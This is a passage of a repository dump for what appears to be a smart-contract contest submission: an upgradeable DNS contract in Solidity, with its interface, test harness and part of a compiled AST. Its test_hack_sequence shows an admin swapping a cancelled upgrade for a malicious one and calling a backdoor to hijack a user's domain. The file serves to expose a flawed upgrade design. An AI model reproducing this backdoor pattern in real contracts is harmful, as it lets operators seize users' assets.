0","value":"0"},"id":2188,"name":"Literal","src":"1781:1:7"}],"id":2189,"name":"BinaryOperation","src":"1774:8:7"},{"attributes":{"hexvalue":"496e76616c69642069702e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid ip.\"","value":"Invalid ip."},"id":2190,"name":"Literal","src":"1784:13:7"}],"id":2191,"name":"FunctionCall","src":"1766:32:7"}],"id":2192,"name":"ExpressionStatement","src":"1766:32:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2158,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2193,"name":"Identifier","src":"1802:5:7"}],"id":2195,"name":"MemberAccess","src":"1802:8:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2153,"type":"bytes4","value":"_ip"},"id":2196,"name":"Identifier","src":"1813:3:7"}],"id":2197,"name":"Assignment","src":"1802:14:7"}],"id":2198,"name":"ExpressionStatement","src":"1802:14:7"}],"id":2199,"name":"Block","src":"1410:410:7"}],"id":2200,"name":"FunctionDefinition","src":"1341:479:7"},{"attributes":{"baseFunctions":[1451],"functionSelector":"fbf58b3e","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"transfer","scope":2303,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":2206,"name":"OverrideSpecifier","src":"1889:8:7"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":2254,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2201,"name":"ElementaryTypeName","src":"1841:6:7"}],"id":2202,"name":"VariableDeclaration","src":"1841:21:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"_owner","scope":2254,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2203,"name":"ElementaryTypeName","src":"1864:7:7"}],"id":2204,"name":"VariableDeclaration","src":"1864:14:7"}],"id":2205,"name":"ParameterList","src":"1840:39:7"},{"attributes":{"parameters":[null]},"children":[],"id":2207,"name":"ParameterList","src":"1898:0:7"},{"children":[{"attributes":{"assignments":[2209]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"entry","scope":2253,"stateVariable":false,"storageLocation":"storage","type":"struct IDNS.Entry","visibility":"internal"},"children":[{"attributes":{"name":"Entry","referencedDeclaration":1425,"type":"struct IDNS.Entry"},"id":2208,"name":"UserDefinedTypeName","src":"1902:5:7"}],"id":2209,"name":"VariableDeclaration","src":"1902:19:7"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2062,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":2210,"name":"Identifier","src":"1924:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2202,"type":"string memory","value":"_domain"},"id":2211,"name":"Identifier","src":"1929:7:7"}],"id":2212,"name":"IndexAccess","src":"1924:13:7"}],"id":2213,"name":"VariableDeclarationStatement","src":"1902:35:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963","typeString":"literal_string \"Not the owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2214,"name":"Identifier","src":"2109:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"||","type":"bool"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"&&","type":"bool"},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":2215,"name":"Identifier","src":"2122:3:7"}],"id":2216,"name":"MemberAccess","src":"2122:10:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"origin","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-26,"type":"tx","value":"tx"},"id":2217,"name":"Identifier","src":"2136:2:7"}],"id":2218,"name":"MemberAccess","src":"2136:9:7"}],"id":2219,"name":"BinaryOperation","src":"2122:23:7"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2209,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2220,"name":"Identifier","src":"2149:5:7"}],"id":2221,"name":"MemberAccess","src":"2149:11:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":2222,"name":"Identifier","src":"2164:3:7"}],"id":2223,"name":"MemberAccess","src":"2164:10:7"}],"id":2224,"name":"BinaryOperation","src":"2149:25:7"}],"id":2225,"name":"BinaryOperation","src":"2122:52:7"}],"id":2226,"name":"TupleExpression","src":"2121:54:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[null],"referencedDeclaration":2281,"type":"function (address,address) view returns (bool)","value":"isPreviousTrustedDNS"},"id":2227,"name":"Identifier","src":"2179:20:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"sender","type":"address payable"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-15,"type":"msg","value":"msg"},"id":2228,"name":"Identifier","src":"2200:3:7"}],"id":2229,"name":"MemberAccess","src":"2200:10:7"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2209,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2230,"name":"Identifier","src":"2212:5:7"}],"id":2231,"name":"MemberAccess","src":"2212:11:7"}],"id":2232,"name":"FunctionCall","src":"2179:45:7"}],"id":2233,"name":"BinaryOperation","src":"2121:103:7"},{"attributes":{"hexvalue":"4e6f7420746865206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Not the owner.\"","value":"Not the owner."},"id":2234,"name":"Literal","src":"2229:16:7"}],"id":2235,"name":"FunctionCall","src":"2109:140:7"}],"id":2236,"name":"ExpressionStatement","src":"2109:140:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7237b40c37ff5118ba1ddef24c550790af93dd9b94bae5bf99b9f4af8569f664","typeString":"literal_string \"Invalid owner.\""}],"overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"type":"function (bool,string memory) pure","value":"require"},"id":2237,"name":"Identifier","src":"2254:7:7"},{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"!=","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2204,"type":"address","value":"_owner"},"id":2238,"name":"Identifier","src":"2262:6:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":true,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address payable","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":2239,"name":"ElementaryTypeName","src":"2272:7:7"}],"id":2240,"name":"ElementaryTypeNameExpression","src":"2272:7:7"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":2241,"name":"Literal","src":"2280:1:7"}],"id":2242,"name":"FunctionCall","src":"2272:10:7"}],"id":2243,"name":"BinaryOperation","src":"2262:20:7"},{"attributes":{"hexvalue":"496e76616c6964206f776e65722e","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"Invalid owner.\"","value":"Invalid owner."},"id":2244,"name":"Literal","src":"2284:16:7"}],"id":2245,"name":"FunctionCall","src":"2254:47:7"}],"id":2246,"name":"ExpressionStatement","src":"2254:47:7"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2209,"type":"struct IDNS.Entry storage pointer","value":"entry"},"id":2247,"name":"Identifier","src":"2305:5:7"}],"id":2249,"name":"MemberAccess","src":"2305:11:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2204,"type":"address","value":"_owner"},"id":2250,"name":"Identifier","src":"2319:6:7"}],"id":2251,"name":"Assignment","src":"2305:20:7"}],"id":2252,"name":"ExpressionStatement","src":"2305:20:7"}],"id":2253,"name":"Block","src":"1898:431:7"}],"id":2254,"name":"FunctionDefinition","src":"1823:506:7"},{"attributes":{"implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"isPreviousTrustedDNS","scope":2303,"stateMutability":"view","virtual":false,"visibility":"internal"},"children":[{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_addr","scope":2281,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2255,"name":"ElementaryTypeName","src":"2362:7:7"}],"id":2256,"name":"VariableDeclaration","src":"2362:13:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"_entryOwner","scope":2281,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2257,"name":"ElementaryTypeName","src":"2377:7:7"}],"id":2258,"name":"VariableDeclaration","src":"2377:19:7"}],"id":2259,"name":"ParameterList","src":"2361:36:7"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":2281,"stateVariable":false,"storageLocation":"default","type":"bool","visibility":"internal"},"children":[{"attributes":{"name":"bool","type":"bool"},"id":2260,"name":"ElementaryTypeName","src":"2421:4:7"}],"id":2261,"name":"VariableDeclaration","src":"2421:4:7"}],"id":2262,"name":"ParameterList","src":"2420:6:7"},{"children":[{"attributes":{},"children":[{"attributes":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"==","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2256,"type":"address","value":"_addr"},"id":2263,"name":"Identifier","src":"2435:5:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":2264,"name":"ElementaryTypeName","src":"2444:7:7"}],"id":2265,"name":"ElementaryTypeNameExpression","src":"2444:7:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2064,"type":"contract IDNS","value":"originalDNS"},"id":2266,"name":"Identifier","src":"2452:11:7"}],"id":2267,"name":"FunctionCall","src":"2444:20:7"}],"id":2268,"name":"BinaryOperation","src":"2435:29:7"},{"attributes":{"functionReturnParameters":2262},"children":[{"attributes":{"hexvalue":"74727565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"bool","type":"bool","value":"true"},"id":2269,"name":"Literal","src":"2541:4:7"}],"id":2270,"name":"Return","src":"2534:11:7"}],"id":2271,"name":"IfStatement","src":"2431:114:7"},{"attributes":{"functionReturnParameters":2262},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"},{"typeIdentifier":"t_address","typeString":"address"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"isTrustedUpgrade","referencedDeclaration":1940,"type":"function (contract IDNS,address) view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2066,"type":"contract Upgrade","value":"upgradeInfo"},"id":2272,"name":"Identifier","src":"2556:11:7"}],"id":2273,"name":"MemberAccess","src":"2556:28:7"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":2274,"name":"Identifier","src":"2585:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2256,"type":"address","value":"_addr"},"id":2275,"name":"Identifier","src":"2590:5:7"}],"id":2276,"name":"FunctionCall","src":"2585:11:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2258,"type":"address","value":"_entryOwner"},"id":2277,"name":"Identifier","src":"2598:11:7"}],"id":2278,"name":"FunctionCall","src":"2556:54:7"}],"id":2279,"name":"Return","src":"2549:61:7"}],"id":2280,"name":"Block","src":"2427:187:7"}],"id":2281,"name":"FunctionDefinition","src":"2332:282:7"},{"attributes":{"baseFunctions":[1461],"functionSelector":"461a4478","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"resolve","scope":2303,"stateMutability":"view","virtual":false,"visibility":"external"},"children":[{"attributes":{"overrides":[null]},"id":2285,"name":"OverrideSpecifier","src":"2671:8:7"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"_domain","scope":2302,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":2282,"name":"ElementaryTypeName","src":"2634:6:7"}],"id":2283,"name":"VariableDeclaration","src":"2634:21:7"}],"id":2284,"name":"ParameterList","src":"2633:23:7"},{"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":2302,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":2286,"name":"ElementaryTypeName","src":"2689:6:7"}],"id":2287,"name":"VariableDeclaration","src":"2689:6:7"},{"attributes":{"constant":false,"mutability":"mutable","name":"","scope":2302,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":2288,"name":"ElementaryTypeName","src":"2697:7:7"}],"id":2289,"name":"VariableDeclaration","src":"2697:7:7"}],"id":2290,"name":"ParameterList","src":"2688:17:7"},{"children":[{"attributes":{"functionReturnParameters":2290},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"ip","referencedDeclaration":1422,"type":"bytes4"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2062,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":2291,"name":"Identifier","src":"2718:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2283,"type":"string memory","value":"_domain"},"id":2292,"name":"Identifier","src":"2723:7:7"}],"id":2293,"name":"IndexAccess","src":"2718:13:7"}],"id":2294,"name":"MemberAccess","src":"2718:16:7"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"member_name":"owner","referencedDeclaration":1424,"type":"address"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"struct IDNS.Entry storage ref"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2062,"type":"mapping(string memory => struct IDNS.Entry storage ref)","value":"data"},"id":2295,"name":"Identifier","src":"2736:4:7"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":2283,"type":"string memory","value":"_domain"},"id":2296,"name":"Identifier","src":"2741:7:7"}],"id":2297,"name":"IndexAccess","src":"2736:13:7"}],"id":2298,"name":"MemberAccess","src":"2736:19:7"}],"id":2299,"name":"TupleExpression","src":"2717:39:7"}],"id":2300,"name":"Return","src":"2710:46:7"}],"id":2301,"name":"Block","src":"2706:54:7"}],"id":2302,"name":"FunctionDefinition","src":"2617:143:7"}],"id":2303,"name":"ContractDefinition","src":"744:2018:7"}],"id":2304,"name":"SourceUnit","src":"36:2727:7"}}},"version":"0.7.4+commit.3f05b770.Linux.g++"}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/DNS.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import './IDNS.sol';
import './Upgrade.sol';
/// @title Simple implementation of a DNS.
/// @notice It uses `Upgrade` as its upgrade mechanism.
/// If a user chooses to
/// upgrade, the functions in this contract will relay the message to the
/// upgrade chosen by that user.
/// Users should only trust and opt-in upgrades that only accept messages where
/// msg.sender == tx.origin or
/// msg.sender is the original DNS contract or
/// msg.sender is an upgrade that the user trusted at some point.
contract DNS is IDNS, Upgrade {
mapping (string => Entry) data;
/// @notice The upgrade engine for this DNS contract.
/// Users need to actively opt-in the latest suggested upgrade
/// in the `upgradeInfo` contract.
/// If that upgrade is finalized and the user opted in, their calls
/// will be directed to the upgrade contract they chose.
/// That information is retrieved via `upgradeInfo.activeUpgrade(msg.sender)`.
Upgrade immutable public upgradeInfo;
constructor(Upgrade _upgradeInfo) {
upgradeInfo = _upgradeInfo;
}
function register(string memory _domain, bytes4 _ip, address _owner) external override {
(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);
if (upgrade) {
IDNS(to).register(_domain, _ip, _owner);
return;
}
require(_ip != 0, "Invalid ip.");
require(bytes(_domain).length > 0, "Invalid domain.");
Entry storage entry = data[_domain];
require(entry.ip == 0 && entry.owner == address(0), "Domain already taken.");
entry.ip = _ip;
entry.owner = _owner;
}
function update(string memory _domain, bytes4 _ip) external override {
(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);
if (upgrade) {
(,address owner) = IDNS(to).resolve(_domain);
require(owner == msg.sender, "Not the owner in upgraded contract.");
IDNS(to).update(_domain, _ip);
return;
}
Entry storage entry = data[_domain];
require(entry.owner == msg.sender, "Not the owner.");
require(_ip != 0, "Invalid ip.");
entry.ip = _ip;
}
function transfer(string memory _domain, address _owner) external override {
(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);
if (upgrade) {
(,address owner) = IDNS(to).resolve(_domain);
require(owner == msg.sender, "Not the owner in upgraded contract.");
IDNS(to).transfer(_domain, _owner);
return;
}
Entry storage entry = data[_domain];
require(entry.owner == msg.sender, "Not the owner.");
require(_owner != address(0), "Invalid owner.");
entry.owner = _owner;
}
function resolve(string memory _domain) external view override returns (bytes4, address owner) {
(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);
if (upgrade)
return IDNS(to).resolve(_domain);
return (data[_domain].ip, data[_domain].owner);
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/DNSTest.t.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import './DNS.sol';
import './Upgrade.sol';
import './UpgradedDNS.sol';
import './MalDNS.sol';
import './HEVMCheat.sol';
import 'ds-test/test.sol';
contract User {
IDNS immutable dns;
Upgrade immutable upgrade;
constructor(IDNS _dns, Upgrade _upgrade) {
dns = _dns;
upgrade = _upgrade;
}
function register(string memory _domain, bytes4 _ip) external {
dns.register(_domain, _ip, address(this));
}
function update(string memory _domain, bytes4 _ip) external {
dns.update(_domain, _ip);
}
function updateViaCustomDNS(string memory _domain, bytes4 _ip, IDNS _dns) external {
_dns.update(_domain, _ip);
}
function transfer(string memory _domain, address _owner) external {
dns.transfer(_domain, _owner);
}
function resolve(string memory _domain) external view returns (bytes4, address) {
return dns.resolve(_domain);
}
function optIn() external {
upgrade.opt(Upgrade.Opt.In);
}
function optOut() external {
upgrade.opt(Upgrade.Opt.Out);
}
}
contract DNSTest is DSTest {
HEVMCheat hevm;
DNS dns;
UpgradedDNS up_dns;
UpgradedDNS fake_up_dns;
MalDNS mal_dns;
Upgrade upgrade;
uint constant MAX_USERS = 4;
User[MAX_USERS] users;
function setUp() public {
reset();
}
function reset() internal {
hevm = new HEVMCheat();
upgrade = new Upgrade();
dns = new DNS(upgrade);
up_dns = new UpgradedDNS(dns, upgrade);
fake_up_dns = new UpgradedDNS(dns, upgrade);
mal_dns = new MalDNS(0xcafeeeee, dns, upgrade);
for (uint i = 0; i < MAX_USERS; ++i)
users[i] = new User(dns, upgrade);
}
function test_safe_sequence() public {
string memory d0 = "a.eth";
bytes4 i0 = 0x01020304;
string memory d1 = "b.eth";
bytes4 i1 = 0x05060708;
bytes4 ip;
address owner;
// User0 registers a.eth
users[0].register(d0, i0);
(ip, owner) = dns.resolve(d0);
assertEq(ip, i0);
assertEq(owner, address(users[0]));
// User1 registers b.eth
users[1].register(d1, i1);
(ip, owner) = dns.resolve(d1);
assertEq(ip, i1);
assertEq(owner, address(users[1]));
// Admin suggests a new upgrade
upgrade.newUpgrade(block.timestamp + 60, IDNS(up_dns));
assertTrue(upgrade.upgradePlanned());
// User0 opts in
users[0].optIn();
// User2 opts in
users[2].optIn();
hevm.warp(10);
// but then gives up
users[2].optOut();
// User3 opts in
users[3].optIn();
// Time passes, upgrade is now active.
hevm.warp(70);
assertTrue(!upgrade.upgradePlanned());
bool up;
IDNS to;
// User0 has an active upgrade
(up, to) = upgrade.activeUpgrade(address(users[0]));
assertTrue(up);
assertEq(address(to), address(up_dns));
// User1 does not have an active upgrade, never opted in
(up, to) = upgrade.activeUpgrade(address(users[1]));
assertTrue(!up);
// User2 does not have an active upgrade, opted in but then opted out
(up, to) = upgrade.activeUpgrade(address(users[2]));
assertTrue(!up);
// User3 also opted in.
(up, to) = upgrade.activeUpgrade(address(users[3]));
assertTrue(up);
string memory d2 = "c.eth";
bytes4 i2 = 0x090a0b0c;
string memory d3 = "d.eth";
bytes4 i3 = 0x0d0e0f0f;
// User0 registers c.eth in the upgraded contract
// Notice that the message is actually relayed from the original
// to the upgraded DNS.
users[0].register(d2, i2);
// Original contract does not have that info
(ip, owner) = dns.resolve(d2);
assertEq(ip, 0);
assertEq(owner, address(0));
// Upgraded contract has that info
(ip, owner) = up_dns.resolve(d2);
assertEq(ip, i2);
assertEq(owner, address(users[0]));
// Relayed resolving reads from upgraded contract
(ip, owner) = users[0].resolve(d2);
assertEq(ip, i2);
assertEq(owner, address(users[0]));
// User0 registers d.eth in the upgraded contract
users[0].register(d3, i3);
// Original contract does not have that info
(ip, owner) = dns.resolve(d3);
assertEq(ip, 0);
assertEq(owner, address(0));
// Upgraded contract has that info
(ip, owner) = up_dns.resolve(d3);
assertEq(ip, i3);
assertEq(owner, address(users[0]));
// Relayed resolving reads from upgraded contract
(ip, owner) = users[0].resolve(d3);
assertEq(ip, i3);
assertEq(owner, address(users[0]));
// User1 registers d.eth in the original contract
users[1].register(d3, i3);
// Original contract has that info
(ip, owner) = dns.resolve(d3);
assertEq(ip, i3);
assertEq(owner, address(users[1]));
// No need to relay
(ip, owner) = users[1].resolve(d3);
assertEq(ip, i3);
assertEq(owner, address(users[1]));
// Upgraded contract has that info, but with a different owner
(ip, owner) = up_dns.resolve(d3);
assertEq(ip, i3);
assertEq(owner, address(users[0]));
// User0 updates c.eth in the upgraded contract
bytes4 i2_2 = 0xcafecafe;
users[0].update(d2, i2_2);
// Upgraded contract via original contract should resolve
(ip, owner) = users[0].resolve(d2);
assertEq(ip, i2_2);
assertEq(owner, address(users[0]));
// User0 tries and fails to update c.eth in the upgraded contract
// via a non opted-in upgrade.
try users[0].updateViaCustomDNS(d2, 0xcafeaaaa, fake_up_dns) {
assertTrue(false);
} catch {
}
// User3 registers a.eth in the upgraded contract
users[3].register(d0, i0);
(ip, owner) = up_dns.resolve(d0);
assertEq(ip, i0);
assertEq(owner, address(users[3]));
// User0 tries and fails to update a.eth in the upgraded contract
try users[0].update(d0, 0xaabbccdd) {
assertTrue(false);
} catch {
}
// All good!
}
function test_hack_sequence() public {
string memory d0 = "a.eth";
bytes4 i0 = 0x01020304;
string memory d1 = "b.eth";
bytes4 i1 = 0x05060708;
bytes4 ip;
address owner;
// User0 registers a.eth
users[0].register(d0, i0);
(ip, owner) = dns.resolve(d0);
assertEq(ip, i0);
assertEq(owner, address(users[0]));
// User1 registers b.eth
users[1].register(d1, i1);
(ip, owner) = dns.resolve(d1);
assertEq(ip, i1);
assertEq(owner, address(users[1]));
// Admin suggests a new legit upgrade
upgrade.newUpgrade(block.timestamp + 60, IDNS(up_dns));
assertTrue(upgrade.upgradePlanned());
// User0 opts in
users[0].optIn();
// User2 opts in
users[2].optIn();
hevm.warp(10);
// but then gives up
users[2].optOut();
// User3 also opts in
users[3].optIn();
upgrade.cancelUpgrade();
assertTrue(!upgrade.upgradePlanned());
// Admin suggests a new malicious upgrade
upgrade.newUpgrade(block.timestamp + 1, IDNS(mal_dns));
assertTrue(upgrade.upgradePlanned());
// Time passes quickly
hevm.warp(100);
assertTrue(!upgrade.upgradePlanned());
mal_dns.backdoor(d0, 0x13371337, address(this));
(ip, owner) = users[0].resolve(d0);
assertTrue(ip == 0x13371337);
assertTrue(owner == address(this));
// \_O_/
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/HEVMCheat.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
/// HEVM has a special contract able to change the block timestamp.
/// This is used in the tests, to show safe and unsafe upgrades.
contract HEVMCheat {
address constant hevmCheat = 0x7109709ECfa91a80626fF3989D68f67F5b1DD12D;
function warp(uint x) public {
(bool success,) = address(hevmCheat).call(abi.encodeWithSignature("warp(uint256)", x));
require(success);
}
function roll(uint x) public {
(bool success,) = address(hevmCheat).call(abi.encodeWithSignature("roll(uint256)", x));
require(success);
}
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/IDNS.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
/// @title A simple DNS interface.
interface IDNS {
/// @notice Simple DNS entry.
struct Entry {
bytes4 ip;
address owner;
}
/// @notice Registers a new domain. Domain must be currently unused.
/// @param _domain New domain to be registered.
/// @param _ip Ip the domain should point to.
/// @param _owner Owner of the newly registered domain.
function register(string memory _domain, bytes4 _ip, address _owner) external;
/// @notice Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.
/// @param _domain Domain to be updated.
/// @param _ip New ip that the domain should point to.
function update(string memory _domain, bytes4 _ip) external;
/// @notice Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.
/// @param _domain Domain to be transferred.
/// @param _owner New owner.
function transfer(string memory _domain, address _owner) external;
/// @return The IP that _domain points to and the owner.
function resolve(string memory _domain) external view returns (bytes4, address owner);
}
================================================
FILE: 2020/submissions_2020/submission12_LeonardoAlt/src/MalDNS.sol
================================================
// SPDX-License-Identifier: GPL-v3
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
